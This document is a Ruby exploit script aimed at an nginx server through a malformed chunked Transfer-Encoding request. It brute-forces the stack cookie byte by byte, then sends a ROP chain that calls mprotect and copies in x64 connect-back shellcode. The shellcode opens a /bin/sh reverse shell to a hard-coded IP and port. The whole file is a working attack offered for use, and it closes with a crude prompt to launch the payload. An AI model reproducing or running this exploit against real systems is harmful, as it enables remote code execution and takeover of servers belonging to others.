# encoding: ASCII abort("#{$0} host port") if ARGV.length < 2 require 'ronin' $count = 0 # rop address taken from nginx binary (find in the repo) poprdi = 0x00427006 poprsi = 0x0043a00e poprdx = 0x0041b8fa poprax = 0x00442c80 mmap64 = 0x4029b0 mmapgot = 0x67f290 mmapaddr = 0x00410000 rsito_rax_ = 0x0042afcb add_rdi_al = 0x00462de4 # change mmap64 to mprotect, easier to find gadget $ropchain = [ poprax, 0x60, poprdi, mmapgot, add_rdi_al, poprax, mmapgot, poprdx, 0x7, poprsi, 0x1000, poprdi, mmapaddr, mmap64 ].pack("Q*") #connect back shellcode x64 ip = "1.1.1.1" port = 4000 sip = IPAddr::new(ip).to_i.pack("i>") sport = port.pack("s>") $shellcode = "\x48\x31\xd2\x48\x31\xc0\xb2\x02\x48\x89\xd7\xb2\x01\x48\x89\xd6\xb2\x06\xb0\x29\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xbb#{sip}\x48\xc1\xe3\x20\x66\xb8#{sport}\xc1\xe0\x10\xb0\x02\x48\x09\xd8\x50\x48\x89\xe6\x48\x31\xd2\xb2\x10\x48\x31\xc0\xb0\x2a\x0f\x05\x48\x31\xf6\x48\x31\xc0\xb0\x21\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb0\x21\x48\xff\xc6\x0f\x05\x48\x31\xf6\x48\x31\xd2\x52\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05\xc3" $shellcode = "\x90" + $shellcode while $shellcode.length%8>0 # copy the shellcode to mmapaddr (0...$shellcode.length).step(8) { |p| code = $shellcode[p,8].unpack("Q")[0] chain = [poprax, mmapaddr + p, poprsi, code, rsito_rax_].pack("Q*") $ropchain << chain } # finally jump to it $ropchain << mmapaddr.pack("Q") # payload for crash $payload = [ "GET / HTTP/1.1\r\n", "Host: 1337.vnsec.net\r\n", "Accept: */*\r\n", "Transfer-Encoding: chunked\r\n\r\n" ].join $chunk = "f"*(1024-$payload.length-8) + "0f0f0f0f" $payload << $chunk def crash(cookie, cookie_test=true) data = "" 5.times { payload = $payload + "" tcp_connect(ARGV[0],ARGV[1].to_i) { |s| $count+=1 payload << ["A"*(4096+8), cookie].join payload << ["C"*24, $ropchain].join if not cookie_test s.send(payload,0) data = s.recv(10) s.close return true if data.strip.length == 0 } } return false end s = [0] if ARGV.length < 3 # test cookie while s.length < 8 do puts "[+] searching for byte: #{s.length}" for c in 1..255 print "\r#{c}" s1 = s + [c] if not crash(s1.pack("C*")) s << c puts break end end end s = s.pack("c*") else # try it ? s = (ARGV[2]).gsub("\\x","").hex_decode if crash(s) puts "Wrong cookie" exit end end puts "Found cookie: #{s.hex_escape} #{s.length}" puts "PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT #{ip} #{port}" $stdin.gets crash(s,false) puts "#{$count} connections"